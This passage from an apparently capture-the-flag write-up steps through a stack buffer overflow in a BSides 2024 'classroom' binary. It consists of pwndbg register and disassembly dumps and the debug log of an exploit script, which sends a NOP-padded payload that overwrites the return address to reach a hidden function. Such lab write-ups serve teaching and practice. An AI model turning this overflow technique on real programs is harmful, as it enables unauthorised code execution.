   <span class="mh">0x7f4054f38a8c</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">124</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span> <span class="mh">0xffffffffffffffff</span>            <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mh">0xffffffffffffffff</span>
   <span class="mh">0x7f4054f38a93</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">131</span><span class="o">&gt;</span>    <span class="n">ret</span>    
 
   <span class="mh">0x7f4054f38a94</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">132</span><span class="o">&gt;</span>    <span class="n">nop</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rax</span><span class="p">]</span>
   <span class="mh">0x7f4054f38a98</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">136</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0xd7361</span><span class="p">]</span>     <span class="n">RDX</span><span class="p">,</span> <span class="p">[</span><span class="n">_GLOBAL_OFFSET_TABLE_</span><span class="o">+</span><span class="mi">624</span><span class="p">]</span> <span class="o">=&gt;</span> <span class="mh">0xffffffffffffff88</span>
   <span class="mh">0x7f4054f38a9f</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">143</span><span class="o">&gt;</span>    <span class="n">neg</span>    <span class="n">eax</span>
   <span class="mh">0x7f4054f38aa1</span> <span class="o">&lt;</span><span class="n">read</span><span class="o">+</span><span class="mi">145</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="n">fs</span><span class="o">:</span><span class="p">[</span><span class="n">rdx</span><span class="p">],</span> <span class="n">eax</span>
<span class="err">───────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────────────────────────</span>
<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7ffe3275dac8</span> <span class="err">—▸</span> <span class="mh">0x400ba0</span> <span class="p">(</span><span class="n">main</span><span class="o">+</span><span class="mi">104</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span> <span class="mi">0</span>
<span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span><span class="o">-</span><span class="mo">010</span> <span class="mh">0x7ffe3275dad0</span> <span class="err">—▸</span> <span class="mh">0x400db0</span> <span class="err">◂—</span> <span class="n">imul</span> <span class="n">rsp</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">r11</span> <span class="o">+</span> <span class="n">r14</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">],</span> <span class="mh">0x7473756d</span>
<span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span><span class="o">-</span><span class="mo">00</span><span class="mi">8</span> <span class="mh">0x7ffe3275dad8</span> <span class="err">—▸</span> <span class="mh">0x400d96</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">Have</span> <span class="n">a</span> <span class="n">nice</span> <span class="n">day</span><span class="o">!!</span><span class="err">\</span><span class="n">n</span><span class="err">'</span>
<span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span> <span class="n">rbp</span> <span class="mh">0x7ffe3275dae0</span> <span class="err">◂—</span> <span class="mi">1</span>
<span class="mo">04</span><span class="o">:</span><span class="mo">0020</span><span class="err">│</span><span class="o">+</span><span class="mo">00</span><span class="mi">8</span> <span class="mh">0x7ffe3275dae8</span> <span class="err">—▸</span> <span class="mh">0x7f4054e61c8a</span> <span class="p">(</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">122</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">mov</span> <span class="n">edi</span><span class="p">,</span> <span class="n">eax</span>
<span class="mo">05</span><span class="o">:</span><span class="mo">002</span><span class="mi">8</span><span class="err">│</span><span class="o">+</span><span class="mo">010</span> <span class="mh">0x7ffe3275daf0</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275dbe0</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275dbe8</span> <span class="err">◂—</span> <span class="mh">0x38</span> <span class="cm">/* '8' */</span>
<span class="mo">06</span><span class="o">:</span><span class="mo">0030</span><span class="err">│</span><span class="o">+</span><span class="mo">01</span><span class="mi">8</span> <span class="mh">0x7ffe3275daf8</span> <span class="err">—▸</span> <span class="mh">0x400b38</span> <span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rbp</span>
<span class="mo">07</span><span class="o">:</span><span class="mo">003</span><span class="mi">8</span><span class="err">│</span><span class="o">+</span><span class="mo">020</span> <span class="mh">0x7ffe3275db00</span> <span class="err">◂—</span> <span class="mh">0x100400040</span> <span class="cm">/* '@' */</span>
<span class="err">─────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>   <span class="mh">0x7f4054f38a1d</span> <span class="n">read</span><span class="o">+</span><span class="mi">13</span>
   <span class="mi">1</span>         <span class="mh">0x400ba0</span> <span class="n">main</span><span class="o">+</span><span class="mi">104</span>
   <span class="mi">2</span>   <span class="mh">0x7f4054e61c8a</span> <span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">122</span>
   <span class="mi">3</span>   <span class="mh">0x7f4054e61d45</span> <span class="n">__libc_start_main</span><span class="o">+</span><span class="mi">133</span>
   <span class="mi">4</span>         <span class="mh">0x40078a</span> <span class="n">_start</span><span class="o">+</span><span class="mi">42</span>
<span class="err">───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>Disassemble <code class="language-plaintext highlighter-rouge">kinder()</code> and add a breakpoint right after the 5th read(), at <code class="language-plaintext highlighter-rouge">0x0000000000400a48</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disassemble</span> <span class="n">kinder</span>
<span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="n">kinder</span><span class="o">:</span>
   <span class="mh">0x0000000000400950</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="n">rbp</span>
   <span class="mh">0x0000000000400951</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span>
   <span class="mh">0x0000000000400954</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">add</span>    <span class="n">rsp</span><span class="p">,</span><span class="mh">0xffffffffffffff80</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
   <span class="mh">0x0000000000400a32</span> <span class="o">&lt;+</span><span class="mi">226</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x80</span><span class="p">]</span>
   <span class="mh">0x0000000000400a36</span> <span class="o">&lt;+</span><span class="mi">230</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="mh">0x14c</span>
   <span class="mh">0x0000000000400a3b</span> <span class="o">&lt;+</span><span class="mi">235</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x0000000000400a3e</span> <span class="o">&lt;+</span><span class="mi">238</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x0</span>
   <span class="mh">0x0000000000400a43</span> <span class="o">&lt;+</span><span class="mi">243</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x400740</span> <span class="o">&lt;</span><span class="n">read</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
   <span class="mh">0x0000000000400a48</span> <span class="o">&lt;+</span><span class="mi">248</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0x400ade</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
   <span class="mh">0x0000000000400ae8</span> <span class="o">&lt;+</span><span class="mi">408</span><span class="o">&gt;:</span>   <span class="n">nop</span>
   <span class="mh">0x0000000000400ae9</span> <span class="o">&lt;+</span><span class="mi">409</span><span class="o">&gt;:</span>   <span class="n">leave</span>
   <span class="mh">0x0000000000400aea</span> <span class="o">&lt;+</span><span class="mi">410</span><span class="o">&gt;:</span>   <span class="n">ret</span>
<span class="n">End</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">dump</span><span class="p">.</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">b</span> <span class="o">*</span><span class="mh">0x0000000000400a48</span>
<span class="n">Breakpoint</span> <span class="mi">1</span> <span class="n">at</span> <span class="mh">0x400a48</span>
</code></pre></div></div>

<p>Continue the execution of both <code class="language-plaintext highlighter-rouge">pwndbg</code> and <code class="language-plaintext highlighter-rouge">sploit.py</code>.</p>

<p>Below is the output of <code class="language-plaintext highlighter-rouge">sploit.py</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...[snip]...
[DEBUG] Received 0x7e bytes:
    00000000  4b 69 64 73  20 6d 75 73  74 20 66 6f  6c 6c 6f 77  │Kids│ mus│t fo│llow│
    00000010  20 74 68 65  20 72 75 6c  65 73 21 0a  31 2e 20 4e  │ the│ rul│es!·│1. N│
    00000020  6f 20 63 68  65 61 74 69  6e 67 21 20  20 20 e2 9d  │o ch│eati│ng! │  ··│
    00000030  8c 0a 32 2e  20 4e 6f 20  73 77 65 61  72 69 6e 67  │··2.│ No │swea│ring│
    00000040  21 20 20 20  e2 9d 8c 0a  33 2e 20 4e  6f 20 f0 9f  │!   │····│3. N│o ··│
    00000050  9a a9 20 73  68 61 72 69  6e 67 21 20  e2 9d 8c 0a  │·· s│hari│ng! │····│
    00000060  0a 49 73 20  65 76 65 72  79 74 68 69  6e 67 20 63  │·Is │ever│ythi│ng c│
    00000070  6c 65 61 72  3f 20 28 79  2f 6e 29 0a  3e 20        │lear│? (y│/n)·│&gt; │
    0000007e
[DEBUG] Sent 0x5d bytes:
    b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa\n'
...[snip]...
    b'Enough questions for today class...\n'
    b'Well, maybe a last one and then we finish!\n'
    b'&gt; '
[DEBUG] Sent 0x190 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000080  90 90 90 90  90 90 90 90  0c 09 40 00  00 00 00 00  │····│····│··@·│····│
    00000090  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000190
[*] Switching to interactive mode
[DEBUG] Received 0x3a bytes:
    00000000  57 68 61 74  20 61 72 65  20 79 6f 75  20 64 6f 69  │What│ are│ you│ doi│
    00000010  6e 67 20 68  65 72 65 3f  21 20 4b 69  64 73 20 61  │ng h│ere?│! Ki│ds a│
    00000020  72 65 20 6e  6f 74 20 61  6c 6c 6f 77  65 64 20 68  │re n│ot a│llow│ed h│
    00000030  65 72 65 21  20 f0 9f 94  9e 0a                     │ere!│ ···│··│
    0000003a
What are you doing here?! Kids are not allowed here! 🔞
[*] Got EOF while reading in interactive
$ 
[DEBUG] Sent 0x1 bytes:
    b'\n'
[*] Process '/home/kidd/Desktop/WORK/bsides24/pwn/classroom' stopped with exit code -9 (SIGKILL) (pid 33577)
[*] Got EOF while sending in interactive
</code></pre></div></div>

<p>In pwndbg the program will first break after <code class="language-plaintext highlighter-rouge">read()</code>, where <code class="language-plaintext highlighter-rouge">$rsp</code> (=<code class="language-plaintext highlighter-rouge">$rsi</code>) and <code class="language-plaintext highlighter-rouge">$rbp</code> point to our buffer.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">c</span>
<span class="n">Continuing</span><span class="p">.</span>

<span class="n">Breakpoint</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x0000000000400a48</span> <span class="ow">in</span> <span class="n">kinder</span> <span class="p">()</span>
<span class="n">LEGEND</span><span class="p">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">────────────────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span><span class="err">─────────────────────────────────────────────</span>
<span class="o">*</span><span class="n">RAX</span>  <span class="mh">0x14c</span>
 <span class="n">RBX</span>  <span class="mh">0x7ffe3275dbf8</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e4f5</span> <span class="err">◂—</span> <span class="s">'/home/kidd/Desktop/WORK/bsides24/pwn/classroom'</span>
 <span class="n">RCX</span>  <span class="mh">0x7f4054f38a1d</span> <span class="p">(</span><span class="n">read</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="err">◂—</span> <span class="nb">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="o">/*</span> <span class="s">'H='</span> <span class="o">*/</span>
<span class="o">*</span><span class="n">RDX</span>  <span class="mh">0x14c</span>
 <span class="n">RDI</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">RSI</span>  <span class="mh">0x7ffe3275da40</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">R8</span>   <span class="mh">0xff00</span>
 <span class="n">R9</span>   <span class="mi">7</span>
 <span class="n">R10</span>  <span class="mi">7</span>
 <span class="n">R11</span>  <span class="mh">0x246</span>
 <span class="n">R12</span>  <span class="mi">0</span>
 <span class="n">R13</span>  <span class="mh">0x7ffe3275dc08</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e524</span> <span class="err">◂—</span> <span class="s">'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'</span>
 <span class="n">R14</span>  <span class="mh">0x7f405508c000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7f405508d2c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">RBP</span>  <span class="mh">0x7ffe3275dac0</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7ffe3275da40</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x400a48</span> <span class="p">(</span><span class="n">kinder</span><span class="o">+</span><span class="mi">248</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">jmp</span> <span class="mh">0x400ade</span>
<span class="err">───────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="nb">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mh">0x400a48</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">248</span><span class="o">&gt;</span>                      <span class="n">jmp</span>    <span class="n">kinder</span><span class="o">+</span><span class="mi">398</span>                  <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>
    <span class="err">↓</span>
   <span class="mh">0x400ade</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>                      <span class="nb">cmp</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">4</span><span class="p">],</span> <span class="mi">0</span>     <span class="mh">0x90909090</span> <span class="o">-</span> <span class="mh">0x0</span>     <span class="n">EFLAGS</span> <span class="o">=&gt;</span> <span class="mh">0x286</span> <span class="p">[</span> <span class="n">cf</span> <span class="n">PF</span> <span class="n">af</span> <span class="n">zf</span> <span class="n">SF</span> <span class="n">IF</span> <span class="n">df</span> <span class="n">of</span> <span class="p">]</span>
   <span class="mh">0x400ae2</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">402</span><span class="o">&gt;</span>                      <span class="n">je</span>     <span class="n">kinder</span><span class="o">+</span><span class="mi">107</span>                  <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">107</span><span class="o">&gt;</span>
 
   <span class="mh">0x400ae8</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">408</span><span class="o">&gt;</span>                      <span class="n">nop</span>    
   <span class="mh">0x400ae9</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">409</span><span class="o">&gt;</span>                      <span class="n">leave</span>  
   <span class="mh">0x400aea</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">410</span><span class="o">&gt;</span>                      <span class="n">ret</span>                                <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">&gt;</span>
    <span class="err">↓</span>
   <span class="mh">0x40090c</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">&gt;</span>       <span class="n">push</span>   <span class="n">rbp</span>
   <span class="mh">0x40090d</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">1</span><span class="o">&gt;</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span> <span class="n">rsp</span>                     <span class="n">RBP</span> <span class="o">=&gt;</span> <span class="mh">0x7ffe3275dac8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
   <span class="mh">0x400910</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">4</span><span class="o">&gt;</span>     <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span> <span class="mh">0x10</span>                    <span class="n">RSP</span> <span class="o">=&gt;</span> <span class="mh">0x7ffe3275dab8</span> <span class="p">(</span><span class="mh">0x7ffe3275dac8</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">)</span>
   <span class="mh">0x400914</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">8</span><span class="o">&gt;</span>     <span class="n">lea</span>    <span class="n">rax</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x34d</span><span class="p">]</span>           <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
   <span class="mh">0x40091b</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">15</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">8</span><span class="p">],</span> <span class="n">rax</span>     <span class="p">[</span><span class="mh">0x7ffe3275dac0</span><span class="p">]</span> <span class="o">=&gt;</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
<span class="err">─────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────────────────────────</span>
<span class="mi">00</span><span class="p">:</span><span class="mi">0000</span><span class="err">│</span> <span class="n">rsi</span> <span class="n">rsp</span> <span class="mh">0x7ffe3275da40</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="p">...</span> <span class="err">↓</span>            <span class="mi">7</span> <span class="n">skipped</span>
<span class="err">───────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x400a48</span> <span class="n">kinder</span><span class="o">+</span><span class="mi">248</span>
   <span class="mi">1</span>         <span class="mh">0x40090c</span> <span class="n">kids_are_not_allowed_here</span>
   <span class="mi">2</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">3</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">4</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">5</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">6</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">7</span> <span class="mh">0x9090909090909090</span>
<span class="err">─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>If we continue execution until the function epilogue, <code class="language-plaintext highlighter-rouge">$rsp</code> now points to <code class="language-plaintext highlighter-rouge">0x40090c</code> or the <code class="language-plaintext highlighter-rouge">kids_are_not_allowed_here</code> function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">stepret</span> 

<span class="n">Temporary</span> <span class="n">breakpoint</span> <span class="o">-</span><span class="mi">11</span><span class="p">,</span> <span class="mh">0x0000000000400ae2</span> <span class="n">in</span> <span class="n">kinder</span> <span class="p">()</span>

<span class="n">Temporary</span> <span class="n">breakpoint</span> <span class="o">-</span><span class="mi">12</span><span class="p">,</span> <span class="mh">0x0000000000400aea</span> <span class="n">in</span> <span class="n">kinder</span> <span class="p">()</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">────────────────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────</span>
 <span class="n">RAX</span>  <span class="mh">0x14c</span>
 <span class="n">RBX</span>  <span class="mh">0x7ffe3275dbf8</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e4f5</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
 <span class="n">RCX</span>  <span class="mh">0x7f4054f38a1d</span> <span class="p">(</span><span class="n">read</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
 <span class="n">RDX</span>  <span class="mh">0x14c</span>
 <span class="n">RDI</span>  <span class="mi">0</span>
 <span class="n">RSI</span>  <span class="mh">0x7ffe3275da40</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
 <span class="n">R8</span>   <span class="mh">0xff00</span>
 <span class="n">R9</span>   <span class="mi">7</span>
 <span class="n">R10</span>  <span class="mi">7</span>
 <span class="n">R11</span>  <span class="mh">0x246</span>
 <span class="n">R12</span>  <span class="mi">0</span>
 <span class="n">R13</span>  <span class="mh">0x7ffe3275dc08</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e524</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">PWD</span><span class="o">=/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="err">'</span>
 <span class="n">R14</span>  <span class="mh">0x7f405508c000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7f405508d2c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">RBP</span>  <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7ffe3275dac8</span> <span class="err">—▸</span> <span class="mh">0x40090c</span> <span class="p">(</span><span class="n">kids_are_not_allowed_here</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rbp</span>
<span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x400aea</span> <span class="p">(</span><span class="n">kinder</span><span class="o">+</span><span class="mi">410</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">ret</span> 
<span class="err">─────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────</span>
   <span class="mh">0x400a48</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">248</span><span class="o">&gt;</span>                      <span class="n">jmp</span>    <span class="n">kinder</span><span class="o">+</span><span class="mi">398</span>                  <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>
    <span class="err">↓</span>
   <span class="mh">0x400ade</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>                      <span class="n">cmp</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">4</span><span class="p">],</span> <span class="mi">0</span>     <span class="mh">0x90909090</span> <span class="o">-</span> <span class="mh">0x0</span>     <span class="n">EFLAGS</span> <span class="o">=&gt;</span> <span class="mh">0x286</span> <span class="p">[</span> <span class="n">cf</span> <span class="n">PF</span> <span class="n">af</span> <span class="n">zf</span> <span class="n">SF</span> <span class="n">IF</span> <span class="n">df</span> <span class="n">of</span> <span class="p">]</span>
   <span class="mh">0x400ae2</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">402</span><span class="o">&gt;</span>                      <span class="n">je</span>     <span class="n">kinder</span><span class="o">+</span><span class="mi">107</span>                  <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">107</span><span class="o">&gt;</span>
 
   <span class="mh">0x400ae8</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">408</span><span class="o">&gt;</span>                      <span class="n">nop</span>    
   <span class="mh">0x400ae9</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">409</span><span class="o">&gt;</span>                      <span class="n">leave</span>  
 <span class="err">►</span> <span class="mh">0x400aea</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">410</span><span class="o">&gt;</span>                      <span class="n">ret</span>                                <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">&gt;</span>
    <span class="err">↓</span>
   <span class="mh">0x40090c</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">&gt;</span>       <span class="n">push</span>   <span class="n">rbp</span>
   <span class="mh">0x40090d</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">1</span><span class="o">&gt;</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span> <span class="n">rsp</span>                     <span class="n">RBP</span> <span class="o">=&gt;</span> <span class="mh">0x7ffe3275dac8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
   <span class="mh">0x400910</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">4</span><span class="o">&gt;</span>     <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span> <span class="mh">0x10</span>                    <span class="n">RSP</span> <span class="o">=&gt;</span> <span class="mh">0x7ffe3275dab8</span> <span class="p">(</span><span class="mh">0x7ffe3275dac8</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">)</span>
